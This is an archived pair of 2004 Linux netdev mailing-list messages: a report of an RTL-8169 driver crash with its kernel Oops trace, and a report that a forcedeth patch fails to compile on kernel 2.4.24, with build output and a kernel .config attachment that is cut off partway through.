From neuffer@neuffer.info Sun Feb 1 02:03:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 02:04:05 -0800 (PST) Received: from mail-in-03.arcor-online.net (mail-in-03.arcor-online.net [151.189.21.43]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i11A3o7J024637 for ; Sun, 1 Feb 2004 02:03:51 -0800 Received: from server.dr1.neuffer.info (dialin-145-254-223-067.arcor-ip.net [145.254.223.67]) by mail-in-03.arcor-online.net (Postfix) with ESMTP id 2900A72D1FC; Sun, 1 Feb 2004 11:03:49 +0100 (CET) Received: from charion.dr1.neuffer.info (root@charion.dr1.neuffer.info [192.168.1.19]) by server.dr1.neuffer.info (8.12.11/8.12.11/Debian-1) with ESMTP id i11A3mLD003022 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Sun, 1 Feb 2004 11:03:48 +0100 Received: from charion.dr1.neuffer.info (neuffer@localhost [127.0.0.1]) by charion.dr1.neuffer.info (8.12.11/8.12.11.Beta0/Debian-2) with ESMTP id i11A3lr5013243 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 1 Feb 2004 11:03:47 +0100 Received: (from neuffer@localhost) by charion.dr1.neuffer.info (8.12.11/8.12.11.Beta0/Debian-2) id i11A3eEt013242; Sun, 1 Feb 2004 11:03:40 +0100 From: Michael Neuffer Date: Sun, 1 Feb 2004 11:03:40 +0100 To: Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, shuchen@realtek.com.tw Subject: Re: 2.6.2-rc2-mm2 Message-ID: <20040201100340.GA12436@neuffer.info> References: <20040130014108.09c964fd.akpm@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040130014108.09c964fd.akpm@osdl.org> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 2923 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: neuffer@neuffer.info Precedence: bulk X-list: netdev Quoting Andrew Morton (akpm@osdl.org): > [...] > +bk-netdev.patch > > Latest experimental netdev tree The patch to r8169.c from the netdev patch clearly increases stability The 2.6.2-rc2 kernel hangs within minutes even on very light load, whereas 2.6.2-rc2-mm2-1 holds up under heavy network traffic repeatably for over half an hour before it hangs and somewhat longer under light traffic. It is definitely the RTL-8169 interface since I can not get the kernel to hang using a different (RTL-8139C) controller connected to the same Gigabit switch. After many tests I was finally able to capture an Oops: Oops: 0000 [#1] PREEMPT CPU: 0 EIP: 0060:[] Not tainted VLI EFLAGS: 00010216 EIP is at rtl8169_rx_interrupt+0x7a/0x280 eax: 0000000f7 ebx: 3281c0f7 ecx: efcec200 edx: 00000000 esi: eecc2070 edi: 00000007 ebp: 000000f3 esp: e99a9fc2 ds: 007b es: 007b ss: 0068 Process setiathome (pid: 1817, threadinfo=e99a8000 task=e9a92240) Stack: ed7d5600 efcec000 efcec000 e99a9f68 eecc2070 00000000 00000001 f3851000 00000014 e99a8000 c02f6d62 efcec000 efcec200 f3851000 00000001 efcec200 ef00ef00 04000001 00000000 e99a9fc4 c010e06a 00000013 efcec000 e99a9fc4 Call Trace: [] rtl8169_interrupt+0xe2/0xf0 [] handle_IRQ_event+0x3a/0x70 [] do_IRQ+0x91/0x130 [] common_interrupt+0x18/0x20 Code: 24 14 89 d8 25 ff 1f 00 00 8d 68 fc 3b 2d 38 12 58 c0 0f 8c 3f 01 00 00 8b 4c 24 30 c7 84 b9 90 00 00 00 00 00 00 00 8b 54 24 14 <8b> 42 68 85 c0 0f 85 14 01 00 00 8b 82 a0 00 00 00 01 6a 64 01 <0>Kernel panic: Fatal exception in interrupt In interrupt handler not syncing From dartnell@dim.uchile.cl Sun Feb 1 08:52:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 01 Feb 2004 08:52:32 -0800 (PST) Received: from naboo.manquehue.net (naboo.manquehue.net [200.74.160.92]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i11GqI7J016251 for ; Sun, 1 Feb 2004 08:52:19 -0800 Received: from alderaan.manquehue.net (200.74.160.98) by naboo.manquehue.net (6.0.037) id 401AC3F30003A13C; Sun, 1 Feb 2004 13:16:50 -0300 Received: from dim.uchile.cl (64.117.144.198) by alderaan.manquehue.net (6.0.037) (authenticated as dartnell@manquehue.net) id 401AC42D000470CD; Sun, 1 Feb 2004 13:17:08 -0300 Message-ID: <401D2F80.20007@dim.uchile.cl> Date: Sun, 01 Feb 2004 13:55:28 -0300 From: "Pablo R. Dartnell" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en, es-cl, fr-fr MIME-Version: 1.0 To: netdev@oss.sgi.com CC: Carl-Daniel Hailfinger Subject: forcedeth: Compilation fails for kernel 2.4.24 Content-Type: multipart/mixed; boundary="------------090406050307090209030003" X-archive-position: 2924 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dartnell@dim.uchile.cl Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------090406050307090209030003 Content-Type: multipart/alternative; boundary="------------070605040306070602030603" --------------070605040306070602030603 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: Quoted-Printable Hi, Let me tell you first that I am not a programmer, so I am afraid all I=20 can tell you here is plainly what happened, but not why or what could=20 fix it. I found these addresses at the web page: http://www.hailfinger.org/carldani/linux/patches/forcedeth/, and I thought I should let you know what happened when trying to compile=20 the 2.4.24 kernel with the "forcedeth_2_4_patch_v22.txt" patch applied. Here are the last few lines of output when running "make modules_install"= : make -C net modules make[2]: Entering directory `/usr/src/linux-2.4.24/drivers/net' gcc32 -D__KERNEL__ -I/usr/src/linux-2.4.24/include -Wall=20 -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common=20 -fomit-frame-pointer -pipe -mpreferred-stack-boundary=3D2 -march=3Dathlon= =20 -DMODULE -DMODVERSIONS -include=20 /usr/src/linux-2.4.24/include/linux/modversions.h -nostdinc=20 -iwithprefix include -DKBUILD_BASENAME=3Dplip -c -o plip.o plip.c gcc32 -D__KERNEL__ -I/usr/src/linux-2.4.24/include -Wall=20 -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common=20 -fomit-frame-pointer -pipe -mpreferred-stack-boundary=3D2 -march=3Dathlon= =20 -DMODULE -DMODVERSIONS -include=20 /usr/src/linux-2.4.24/include/linux/modversions.h -nostdinc=20 -iwithprefix include -DKBUILD_BASENAME=3Dforcedeth -c -o forcedeth.o=20 forcedeth.c forcedeth.c: In function `probe_nic': forcedeth.c:1321: warning: implicit declaration of function `SET_NETDEV_D= EV' forcedeth.c:1321: structure has no member named `dev' make[2]: *** [forcedeth.o] Error 1 make[2]: Leaving directory `/usr/src/linux-2.4.24/drivers/net' make[1]: *** [_modsubdir_net] Error 2 make[1]: Leaving directory `/usr/src/linux-2.4.24/drivers' make: *** [_mod_drivers] Error 2 I am running Fedora Core 1, may Mainboard is a MSI K7N2, the CPU is an At= hlon XP 2600+. I am attaching the ".config" file in case it is of any use= . If you need any other info, please let me know (and since I am not such= an expert in these things, if you want me to gather some info, please in= clude very detailed, fool proof, instructions...) By the way, the v20 version of the fercedeth driver compiled fine (and I = am using it right now) with the 2.4.24 kernel. I hope this is od some help to the great job you are doing... Best regards, Pablo --=20 Pablo R. Dartnell (dartnell@dim.uchile.cl) Departamento de Ingenier=EDa Matem=E1tica Universidad de Chile --------------070605040306070602030603 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7Bit Hi,

Let me tell you first that I am not a programmer, so I am afraid all I can tell you here is plainly what happened, but not why or what could fix it. I found these addresses at the web page:
http://www.hailfinger.org/carldani/linux/patches/forcedeth/,
and I thought I should let you know what happened when trying to compile the 2.4.24 kernel with the "forcedeth_2_4_patch_v22.txt" patch applied.

Here are the last few lines of output when running "make modules_install":

make -C net modules
make[2]: Entering directory `/usr/src/linux-2.4.24/drivers/net'
gcc32 -D__KERNEL__ -I/usr/src/linux-2.4.24/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=athlon -DMODULE -DMODVERSIONS -include /usr/src/linux-2.4.24/include/linux/modversions.h  -nostdinc -iwithprefix include -DKBUILD_BASENAME=plip  -c -o plip.o plip.c
gcc32 -D__KERNEL__ -I/usr/src/linux-2.4.24/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -pipe -mpreferred-stack-boundary=2 -march=athlon -DMODULE -DMODVERSIONS -include /usr/src/linux-2.4.24/include/linux/modversions.h  -nostdinc -iwithprefix include -DKBUILD_BASENAME=forcedeth  -c -o forcedeth.o forcedeth.c
forcedeth.c: In function `probe_nic':
forcedeth.c:1321: warning: implicit declaration of function `SET_NETDEV_DEV'
forcedeth.c:1321: structure has no member named `dev'
make[2]: *** [forcedeth.o] Error 1
make[2]: Leaving directory `/usr/src/linux-2.4.24/drivers/net'
make[1]: *** [_modsubdir_net] Error 2
make[1]: Leaving directory `/usr/src/linux-2.4.24/drivers'
make: *** [_mod_drivers] Error 2


I am running Fedora Core 1, may Mainboard is a MSI K7N2, the CPU is an Athlon XP 2600+. I am attaching the ".config" file in case it is of any use. If you need any other info, please let me know (and since I am not such an expert in these things, if you want me to gather some info, please include very detailed, fool proof, instructions...)

By the way, the v20 version of the fercedeth driver compiled fine (and I am using it right now) with the 2.4.24 kernel.

I hope this is od some help to the great job you are doing...

Best regards,

Pablo


-- 
Pablo R. Dartnell (dartnell@dim.uchile.cl)
Departamento de Ingeniería Matemática
Universidad de Chile
--------------070605040306070602030603-- --------------090406050307090209030003 Content-Type: text/plain; name=".config" Content-Disposition: inline; filename=".config" Content-Transfer-Encoding: 7Bit # # Automatically generated make config: don't edit # CONFIG_X86=y # CONFIG_SBUS is not set CONFIG_UID16=y # # Code maturity level options # CONFIG_EXPERIMENTAL=y # # Loadable module support # CONFIG_MODULES=y CONFIG_MODVERSIONS=y CONFIG_KMOD=y # # Processor type and features # # CONFIG_M386 is not set # CONFIG_M486 is not set # CONFIG_M586 is not set # CONFIG_M586TSC is not set # CONFIG_M586MMX is not set # CONFIG_M686 is not set # CONFIG_MPENTIUMIII is not set # CONFIG_MPENTIUM4 is not set # CONFIG_MK6 is not set CONFIG_MK7=y # CONFIG_MK8 is not set # CONFIG_MELAN is not set # CONFIG_MCRUSOE is not set # CONFIG_MWINCHIPC6 is not set # CONFIG_MWINCHIP2 is not set # CONFIG_MWINCHIP3D is not set # CONFIG_MCYRIXIII is not set # CONFIG_MVIAC3_2 is not set CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y # CONFIG_RWSEM_GENERIC_SPINLOCK is not set CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_X86_HAS_TSC=y CONFIG_X86_GOOD_APIC=y CONFIG_X86_USE_3DNOW=y CONFIG_X86_PGE=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_F00F_WORKS_OK=y CONFIG_X86_MCE=y # CONFIG_TOSHIBA is not set # CONFIG_I8K is not set # CONFIG_MICROCODE is not set CONFIG_X86_MSR=m CONFIG_X86_CPUID=m CONFIG_EDD=m # CONFIG_NOHIGHMEM is not set CONFIG_HIGHMEM4G=y # CONFIG_HIGHMEM64G is not set CONFIG_HIGHMEM=y CONFIG_HIGHIO=y # CONFIG_MATH_EMULATION is not set CONFIG_MTRR=y # CONFIG_SMP is not set CONFIG_X86_UP_APIC=y CONFIG_X86_UP_IOAPIC=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y # CONFIG_X86_TSC_DISABLE is not set CONFIG_X86_TSC=y # # General setup # CONFIG_NET=y CONFIG_PCI=y # CONFIG_PCI_GOBIOS is not set # CONFIG_PCI_GODIRECT is not set CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y CONFIG_ISA=y CONFIG_PCI_NAMES=y CONFIG_EISA=y # CONFIG_MCA is not set CONFIG_HOTPLUG=y # # PCMCIA/CardBus support # # CONFIG_PCMCIA is not set # # PCI Hotplug Support # # CONFIG_HOTPLUG_PCI is not set # CONFIG_HOTPLUG_PCI_COMPAQ is not set # CONFIG_HOTPLUG_PCI_COMPAQ_NVRAM is not set # CONFIG_HOTPLUG_PCI_IBM is not set CONFIG_SYSVIPC=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_SYSCTL=y CONFIG_KCORE_ELF=y # CONFIG_KCORE_AOUT is not set CONFIG_BINFMT_AOUT=m CONFIG_BINFMT_ELF=y CONFIG_BINFMT_MISC=m CONFIG_PM=y CONFIG_APM=y # CONFIG_APM_IGNORE_USER_SUSPEND is not set # CONFIG_APM_DO_ENABLE is not set CONFIG_APM_CPU_IDLE=y # CONFIG_APM_DISPLAY_BLANK is not set CONFIG_APM_RTC_IS_GMT=y # CONFIG_APM_ALLOW_INTS is not set # CONFIG_APM_REAL_MODE_POWER_OFF is not set # # ACPI Support # # CONFIG_ACPI is not set # # Memory Technology Devices (MTD) # # CONFIG_MTD is not set # # Parallel port support # CONFIG_PARPORT=m CONFIG_PARPORT_PC=m CONFIG_PARPORT_PC_CML1=m CONFIG_PARPORT_SERIAL=m # CONFIG_PARPORT_PC_FIFO is not set # CONFIG_PARPORT_PC_SUPERIO is not set # CONFIG_PARPORT_AMIGA is not set # CONFIG_PARPORT_MFC3 is not set # CONFIG_PARPORT_ATARI is not set # CONFIG_PARPORT_GSC is not set # CONFIG_PARPORT_SUNBPP is not set # CONFIG_PARPORT_OTHER is not set CONFIG_PARPORT_1284=y # # Plug and Play configuration # CONFIG_PNP=y CONFIG_ISAPNP=y # # Block devices # CONFIG_BLK_DEV_FD=y # CONFIG_BLK_DEV_XD is not set CONFIG_PARIDE=m CONFIG_PARIDE_PARPORT=m # # Parallel IDE high-level drivers # CONFIG_PARIDE_PD=m CONFIG_PARIDE_PCD=m CONFIG_PARIDE_PF=m CONFIG_PARIDE_PT=m CONFIG_PARIDE_PG=m # # Parallel IDE protocol modules # CONFIG_PARIDE_ATEN=m CONFIG_PARIDE_BPCK=m CONFIG_PARIDE_BPCK6=m CONFIG_PARIDE_COMM=m CONFIG_PARIDE_DSTR=m CONFIG_PARIDE_FIT2=m CONFIG_PARIDE_FIT3=m CONFIG_PARIDE_EPAT=m CONFIG_PARIDE_EPATC8=y CONFIG_PARIDE_EPIA=m CONFIG_PARIDE_FRIQ=m CONFIG_PARIDE_FRPW=m CONFIG_PARIDE_KBIC=m CONFIG_PARIDE_KTTI=m CONFIG_PARIDE_ON20=m CONFIG_PARIDE_ON26=m # CONFIG_BLK_CPQ_DA is not set # CONFIG_BLK_CPQ_CISS_DA is not set # CONFIG_CISS_SCSI_TAPE is not set # CONFIG_CISS_MONITOR_THREAD is not set # CONFIG_BLK_DEV_DAC960 is not set # CONFIG_BLK_DEV_UMEM is not set CONFIG_BLK_DEV_LOOP=m CONFIG_BLK_DEV_NBD=m CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_SIZE=4096 CONFIG_BLK_DEV_INITRD=y CONFIG_BLK_STATS=y # # Multi-device support (RAID and LVM) # CONFIG_MD=y # CONFIG_BLK_DEV_MD is not set # CONFIG_MD_LINEAR is not set # CONFIG_MD_RAID0 is not set # CONFIG_MD_RAID1 is not set # CONFIG_MD_RAID5 is not set # CONFIG_MD_MULTIPATH is not set CONFIG_BLK_DEV_LVM=m # # Networking options # CONFIG_PACKET=y CONFIG_PACKET_MMAP=y CONFIG_NETLINK_DEV=y CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set CONFIG_FILTER=y CONFIG_UNIX=y CONFIG_INET=y CONFIG_IP_MULTICAST=y CONFIG_IP_ADVANCED_ROUTER=y CONFIG_IP_MULTIPLE_TABLES=y CONFIG_IP_ROUTE_FWMARK=y CONFIG_IP_ROUTE_NAT=y CONFIG_IP_ROUTE_MULTIPATH=y CONFIG_IP_ROUTE_TOS=y CONFIG_IP_ROUTE_VERBOSE=y # CONFIG_IP_PNP is not set CONFIG_NET_IPIP=m CONFIG_NET_IPGRE=m CONFIG_NET_IPGRE_BROADCAST=y CONFIG_IP_MROUTE=y CONFIG_IP_PIMSM_V1=y CONFIG_IP_PIMSM_V2=y # CONFIG_ARPD is not set # CONFIG_INET_ECN is not set CONFIG_SYN_COOKIES=y # # IP: Netfilter Configuration # CONFIG_IP_NF_CONNTRACK=m CONFIG_IP_NF_FTP=m CONFIG_IP_NF_AMANDA=m CONFIG_IP_NF_TFTP=m CONFIG_IP_NF_IRC=m CONFIG_IP_NF_QUEUE=m CONFIG_IP_NF_IPTABLES=m CONFIG_IP_NF_MATCH_LIMIT=m CONFIG_IP_NF_MATCH_MAC=m CONFIG_IP_NF_MATCH_PKTTYPE=m CONFIG_IP_NF_MATCH_MARK=m CONFIG_IP_NF_MATCH_MULTIPORT=m CONFIG_IP_NF_MATCH_TOS=m CONFIG_IP_NF_MATCH_RECENT=m CONFIG_IP_NF_MATCH_ECN=m CONFIG_IP_NF_MATCH_DSCP=m CONFIG_IP_NF_MATCH_AH_ESP=m CONFIG_IP_NF_MATCH_LENGTH=m CONFIG_IP_NF_MATCH_TTL=m CONFIG_IP_NF_MATCH_TCPMSS=m CONFIG_IP_NF_MATCH_HELPER=m CONFIG_IP_NF_MATCH_STATE=m CONFIG_IP_NF_MATCH_CONNTRACK=m CONFIG_IP_NF_MATCH_UNCLEAN=m CONFIG_IP_NF_MATCH_OWNER=m CONFIG_IP_NF_FILTER=m CONFIG_IP_NF_TARGET_REJECT=m CONFIG_IP_NF_TARGET_MIRROR=m CONFIG_IP_NF_NAT=m CONFIG_IP_NF_NAT_NEEDED=y CONFIG_IP_NF_TARGET_MASQUERADE=m CONFIG_IP_NF_TARGET_REDIRECT=m CONFIG_IP_NF_NAT_AMANDA=m CONFIG_IP_NF_NAT_LOCAL=y CONFIG_IP_NF_NAT_SNMP_BASIC=m CONFIG_IP_NF_NAT_IRC=m CONFIG_IP_NF_NAT_FTP=m CONFIG_IP_NF_NAT_TFTP=m CONFIG_IP_NF_MANGLE=m CONFIG_IP_NF_TARGET_TOS=m CONFIG_IP_NF_TARGET_ECN=m CONFIG_IP_NF_TARGET_DSCP=m CONFIG_IP_NF_TARGET_MARK=m CONFIG_IP_NF_TARGET_LOG=m CONFIG_IP_NF_TARGET_ULOG=m CONFIG_IP_NF_TARGET_TCPMSS=m CONFIG_IP_NF_ARPTABLES=m CONFIG_IP_NF_ARPFILTER=m CONFIG_IP_NF_ARP_MANGLE=m CONFIG_IP_NF_COMPAT_IPCHAINS=m CONFIG_IP_NF_NAT_NEEDED=y CONFIG_IP_NF_COMPAT_IPFWADM=m CONFIG_IP_NF_NAT_NEEDED=y # # IP: Virtual Server Configuration # # CONFIG_IP_VS is not set CONFIG_IPV6=m # # IPv6: Netfilter Configuration # # CONFIG_IP6_NF_QUEUE is not set CONFIG_IP6_NF_IPTABLES=m CONFIG_IP6_NF_MATCH_LIMIT=m CONFIG_IP6_NF_MATCH_MAC=m CONFIG_IP6_NF_MATCH_RT=m CONFIG_IP6_NF_MATCH_OPTS=m CONFIG_IP6_NF_MATCH_FRAG=m CONFIG_IP6_NF_MATCH_HL=m CONFIG_IP6_NF_MATCH_MULTIPORT=m CONFIG_IP6_NF_MATCH_OWNER=m CONFIG_IP6_NF_MATCH_MARK=m CONFIG_IP6_NF_MATCH_IPV6HEADER=m CONFIG_IP6_NF_MATCH_AHESP=m CONFIG_IP6_NF_MATCH_LENGTH=m CONFIG_IP6_NF_MATCH_EUI64=m CONFIG_IP6_NF_FILTER=m CONFIG_IP6_NF_TARGET_LOG=m CONFIG_IP6_NF_MANGLE=m CONFIG_IP6_NF_TARGET_MARK=m # CONFIG_KHTTPD is not set # # SCTP Configuration (EXPERIMENTAL) # CONFIG_IPV6_SCTP__=m # CONFIG_IP_SCTP is not set CONFIG_ATM=y CONFIG_ATM_CLIP=y # CONFIG_ATM_CLIP_NO_ICMP is not set CONFIG_ATM_LANE=m CONFIG_ATM_MPOA=m CONFIG_ATM_BR2684=m CONFIG_ATM_BR2684_IPFILTER=y CONFIG_VLAN_8021Q=m # # # CONFIG_IPX=m # CONFIG_IPX_INTERN is not set CONFIG_ATALK=m # # Appletalk devices # # CONFIG_DEV_APPLETALK is not set # CONFIG_DECNET is not set # CONFIG_BRIDGE is not set # CONFIG_X25 is not set # CONFIG_LAPB is not set # CONFIG_LLC is not set # CONFIG_NET_DIVERT is not set # CONFIG_ECONET is not set # CONFIG_WAN_ROUTER is not set # CONFIG_NET_FASTROUTE is not set # CONFIG_NET_HW_FLOWCONTROL is not set # # QoS and/or fair queueing # # CONFIG_NET_SCHED is not set # # Network testing # # CONFIG_NET_PKTGEN is not set # # Telephony Support # # CONFIG_PHONE is not set # CONFIG_PHONE_IXJ is not set # CONFIG_PHONE_IXJ_PCMCIA is not set # # ATA/IDE/MFM/RLL support # CONFIG_IDE=y # # IDE, ATA and ATAPI Block devices # CONFIG_BLK_DEV_IDE=y # # Please see Documentation/ide.txt for help/info on IDE drives # # CONFIG_BLK_DEV_HD_IDE is not set # CONFIG_BLK_DEV_HD is not set CONFIG_BLK_DEV_IDEDISK=y # CONFIG_IDEDISK_MULTI_MODE is not set # CONFIG_IDEDISK_STROKE is not set # CONFIG_BLK_DEV_IDECS is not set CONFIG_BLK_DEV_IDECD=m CONFIG_BLK_DEV_IDETAPE=m CONFIG_BLK_DEV_IDEFLOPPY=m CONFIG_BLK_DEV_IDESCSI=m # CONFIG_IDE_TASK_IOCTL is not set # # IDE chipset support/bugfixes # # CONFIG_BLK_DEV_CMD640 is not set # CONFIG_BLK_DEV_CMD640_ENHANCED is not set # CONFIG_BLK_DEV_ISAPNP is not set CONFIG_BLK_DEV_IDEPCI=y CONFIG_BLK_DEV_GENERIC=y CONFIG_IDEPCI_SHARE_IRQ=y CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_OFFBOARD is not set # CONFIG_BLK_DEV_IDEDMA_FORCED is not set CONFIG_IDEDMA_PCI_AUTO=y # CONFIG_IDEDMA_ONLYDISK is not set CONFIG_BLK_DEV_IDEDMA=y # CONFIG_IDEDMA_PCI_WIP is not set # CONFIG_BLK_DEV_ADMA100 is not set # CONFIG_BLK_DEV_AEC62XX is not set # CONFIG_BLK_DEV_ALI15X3 is not set # CONFIG_WDC_ALI15X3 is not set CONFIG_BLK_DEV_AMD74XX=y # CONFIG_AMD74XX_OVERRIDE is not set # CONFIG_BLK_DEV_CMD64X is not set # CONFIG_BLK_DEV_TRIFLEX is not set # CONFIG_BLK_DEV_CY82C693 is not set # CONFIG_BLK_DEV_CS5530 is not set # CONFIG_BLK_DEV_HPT34X is not set # CONFIG_HPT34X_AUTODMA is not set # CONFIG_BLK_DEV_HPT366 is not set CONFIG_BLK_DEV_PIIX=m # CONFIG_BLK_DEV_NS87415 is not set # CONFIG_BLK_DEV_OPTI621 is not set # CONFIG_BLK_DEV_PDC202XX_OLD is not set # CONFIG_PDC202XX_BURST is not set # CONFIG_BLK_DEV_PDC202XX_NEW is not set # CONFIG_BLK_DEV_RZ1000 is not set # CONFIG_BLK_DEV_SC1200 is not set # CONFIG_BLK_DEV_SVWKS is not set # CONFIG_BLK_DEV_SIIMAGE is not set # CONFIG_BLK_DEV_SIS5513 is not set # CONFIG_BLK_DEV_SLC90E66 is not set # CONFIG_BLK_DEV_TRM290 is not set CONFIG_BLK_DEV_VIA82CXXX=m # CONFIG_IDE_CHIPSETS is not set CONFIG_IDEDMA_AUTO=y # CONFIG_IDEDMA_IVB is not set # CONFIG_DMA_NONPCI is not set CONFIG_BLK_DEV_IDE_MODES=y # CONFIG_BLK_DEV_ATARAID is not set # CONFIG_BLK_DEV_ATARAID_PDC is not set # CONFIG_BLK_DEV_ATARAID_HPT is not set # CONFIG_BLK_DEV_ATARAID_SII is not set # # SCSI support # CONFIG_SCSI=m # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=m CONFIG_SD_EXTRA_DEVS=40 CONFIG_CHR_DEV_ST=m CONFIG_CHR_DEV_OSST=m CONFIG_BLK_DEV_SR=m CONFIG_BLK_DEV_SR_VENDOR=y CONFIG_SR_EXTRA_DEVS=4 CONFIG_CHR_DEV_SG=m # # Some SCSI devices (e.g. CD jukebox) support multiple LUNs # # CONFIG_SCSI_DEBUG_QUEUES is not set # CONFIG_SCSI_MULTI_LUN is not set CONFIG_SCSI_CONSTANTS=y CONFIG_SCSI_LOGGING=y # # SCSI low-level drivers # # CONFIG_BLK_DEV_3W_XXXX_RAID is not set # CONFIG_SCSI_7000FASST is not set # CONFIG_SCSI_ACARD is not set # CONFIG_SCSI_AHA152X is not set # CONFIG_SCSI_AHA1542 is not set # CONFIG_SCSI_AHA1740 is not set # CONFIG_SCSI_AACRAID is not set # CONFIG_SCSI_AIC7XXX is not set # CONFIG_SCSI_AIC79XX is not set # CONFIG_SCSI_AIC7XXX_OLD is not set # CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_IN2000 is not set # CONFIG_SCSI_AM53C974 is not set # CONFIG_SCSI_MEGARAID is not set # CONFIG_SCSI_MEGARAID2 is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_CPQFCTS is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_DTC3280 is not set # CONFIG_SCSI_EATA is not set # CONFIG_SCSI_EATA_DMA is not set # CONFIG_SCSI_EATA_PIO is not set # CONFIG_SCSI_FUTURE_DOMAIN is not set # CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_GENERIC_NCR5380 is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set # CONFIG_SCSI_INIA100 is not set CONFIG_SCSI_PPA=m CONFIG_SCSI_IMM=m # CONFIG_SCSI_IZIP_EPP16 is not set # CONFIG_SCSI_IZIP_SLOW_CTR is not set # CONFIG_SCSI_NCR53C406A is not set # CONFIG_SCSI_NCR53C7xx is not set # CONFIG_SCSI_SYM53C8XX_2 is not set # CONFIG_SCSI_NCR53C8XX is not set # CONFIG_SCSI_SYM53C8XX is not set # CONFIG_SCSI_PAS16 is not set # CONFIG_SCSI_PCI2000 is not set # CONFIG_SCSI_PCI2220I is not set # CONFIG_SCSI_PSI240I is not set # CONFIG_SCSI_QLOGIC_FAS is not set # CONFIG_SCSI_QLOGIC_ISP is not set # CONFIG_SCSI_QLOGIC_FC is not set # CONFIG_SCSI_QLOGIC_1280 is not set # CONFIG_SCSI_SEAGATE is not set # CONFIG_SCSI_SIM710 is not set # CONFIG_SCSI_SYM53C416 is not set # CONFIG_SCSI_DC390T is not set # CONFIG_SCSI_T128 is not set # CONFIG_SCSI_U14_34F is not set # CONFIG_SCSI_ULTRASTOR is not set # CONFIG_SCSI_NSP32 is not set CONFIG_SCSI_DEBUG=m # # Fusion MPT device support # # CONFIG_FUSION is not set # CONFIG_FUSION_BOOT is not set # CONFIG_FUSION_ISENSE is not set # CONFIG_FUSION_CTL is not set # CONFIG_FUSION_LAN is not set # # IEEE 1394 (FireWire) support (EXPERIMENTAL) # CONFIG_IEEE1394=m # # Device Drivers # # CONFIG_IEEE1394_PCILYNX is not set CONFIG_IEEE1394_OHCI1394=m # # Protocol Drivers # CONFIG_IEEE1394_VIDEO1394=m CONFIG_IEEE1394_SBP2=m CONFIG_IEEE1394_SBP2_PHYS_DMA=y CONFIG_IEEE1394_ETH1394=m CONFIG_IEEE1394_DV1394=m CONFIG_IEEE1394_RAWIO=m CONFIG_IEEE1394_CMP=m CONFIG_IEEE1394_AMDTP=m # CONFIG_IEEE1394_VERBOSEDEBUG is not set # CONFIG_IEEE1394_OUI_DB is not set # # I2O device support # CONFIG_I2O=m CONFIG_I2O_PCI=m CONFIG_I2O_BLOCK=m CONFIG_I2O_LAN=m CONFIG_I2O_SCSI=m CONFIG_I2O_PROC=m # # Network device support # CONFIG_NETDEVICES=y # # ARCnet devices # # CONFIG_ARCNET is not set CONFIG_DUMMY=m CONFIG_BONDING=m CONFIG_EQUALIZER=m CONFIG_TUN=m # CONFIG_ETHERTAP is not set # CONFIG_NET_SB1000 is not set # # Ethernet (10 or 100Mbit) # CONFIG_NET_ETHERNET=y # CONFIG_SUNLANCE is not set # CONFIG_HAPPYMEAL is not set # CONFIG_SUNBMAC is not set # CONFIG_SUNQE is not set # CONFIG_SUNGEM is not set # CONFIG_NET_VENDOR_3COM is not set # CONFIG_LANCE is not set # CONFIG_NET_VENDOR_SMC is not set # CONFIG_NET_VENDOR_RACAL is not set # CONFIG_AT1700 is not set # CONFIG_DEPCA is not set # CONFIG_HP100 is not set # CONFIG_NET_ISA is not set CONFIG_NET_PCI=y # CONFIG_PCNET32 is not set # CONFIG_AMD8111_ETH is not set # CONFIG_ADAPTEC_STARFIRE is not set # CONFIG_AC3200 is not set # CONFIG_APRICOT is not set # CONFIG_B44 is not set # CONFIG_CS89x0 is not set # CONFIG_TULIP is not set # CONFIG_DE4X5 is not set # CONFIG_DGRS is not set # CONFIG_DM9102 is not set # CONFIG_EEPRO100 is not set # CONFIG_EEPRO100_PIO is 